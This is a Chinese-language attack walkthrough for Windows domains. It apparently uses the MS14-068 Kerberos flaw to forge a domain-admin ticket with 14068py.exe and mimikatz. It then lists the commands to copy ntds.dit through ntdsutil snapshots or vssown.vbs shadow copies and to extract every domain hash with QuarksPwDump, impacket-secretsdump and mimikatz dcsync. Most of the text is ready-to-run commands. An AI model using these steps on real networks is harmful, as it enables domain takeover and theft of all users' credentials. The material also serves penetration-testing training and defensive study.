利用过程
1.利用该漏洞伪装票据
2.导出域hash值
3.破解利用hash值
一、利用漏洞伪装票据
条件
知道域名,sid,并拥有一个域普通用户的账号密码和知道域控的名称
步骤
1.拿到一台普通域用户机器,获取sid
whoami /all
2.域名,域控名获取
域名获取:
ipconfig /all
查询域控:
net time /domain
3.上传14068py.exe,命令行输入命令进行票据伪装,会在当前目录下生成一个TGT文件
14068py.exe -u 域用户全称 -p "密码" -s sid -d 域控名全称
用户全名为:用户名@域名
4.输入klist purge可删除所有票据
5.上传mimikatz.exe,输入命令使用刚才伪装的票据
mimikatz.exe "kerberos::ptc xxxxx" exit
xxxxx处替换刚才生成的TGT文件名
6.输入klist查看票据,替换成功
7.无需输入密码即可查看域控的c盘目录,说明域管身份的票据伪装成功
dir \\域控全称\c$
二、导出域hash值
·获取ntds.dit并分析获得hash
思路
1.票据伪装成功后远程连接,利用计划任务或远程执行控制DC执行命令(此处实验直接在dc进行,利用计划任务或远程执行控制DC执行命令点击此处跳转到详细使用方法)
2.利用工具获取、分析得到域hash值
1.获取ntds.dit
1.1 利用ntdsutil(win8之后自带)导出ntds.dit
1.1.1 交互式shell:
输入ntdsutil进入交互式界面
输入snapshot进入快照功能
将活动实例设置为ntds
activate instance ntds
输入create创建快照
将快照挂载到c盘,此时c盘就出现了一个和c盘内容一样的快照,并且没有被占用
mount 快照名
退出ntdsutil,复制快照下的ntds.dit到指定路径(离线分析还需要复制快照里的Windows\System32\config\SYSTEM,在线分析省略)
copy C:\$SNAP_202003310959_VOLUMEC$\Windows\NTDS\ntds.dit c:\
再次进入ntdsutil的快照功能,删除快照
ntdsutil
snapshot
unmount 快照名
1.1.2 非交互式shell:
输入以下命令直接一次性创建快照并退出
ntdsutil snapshot "activate instance ntds" create quit quit
输入以下命令挂载刚刚生成的快照
ntdsutil snapshot "mount 快照名" quit quit
复制快照下的ntds.dit到指定路径(离线分析还需要复制快照里的Windows\System32\config\SYSTEM,在线分析省略)
copy C:\$SNAP_202003311014_VOLUMEC$\Windows\NTDS\ntds.dit c:\ntds1.dit
删除快照
ntdsutil snapshot "unmount 快照名" quit quit
1.2 vssown.vbs提取ntds.dit
上传脚本并开始运行脚本
cscript vssown.vbs /start
查看运行状态
cscript vssown.vbs /status
创建c盘的快照
cscript vssown.vbs /create C
查看快照信息
cscript vssown.vbs /list
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 即为c盘快照的根目录路
将快照里的ntds.dit复制到当前目录
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit ntds.dit
将快照里的SYSTEM复制到当前目录(离线分析需要,在线分析省略)
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM SYSTEM
删除创建的快照
cscript vssown.vbs /delete *
停止脚本运行
cscript vssown.vbs /stop
2.分析ntds.dit
2.1 利用QuarkPwDump在线分析
上传QuarkPwDump.exe到目标机c:/
输入命令获取ntds.dit里的域用户密码
QuarksPwDump.exe --dump-hash-domain --with-history --ntds-file ntds.dit路径
2.2 利用kali里的impacket-secretsdump离线分析
复制生成的ntds.dit和SYSTEM到kali
终端输入命令破解ntds.dit
impacket-secretsdump -ntds ntds.dit -system SYSTEM local
·mimikatz提取hash
条件
获取普通域成员机的shell即可
步骤
在上述14068伪装票据的基础上远程连接dc
输入mimikatz.exe进入软件
提取指定域用户的hash值
lsadump::dcsync /domain:域名 /user:用户名 /csv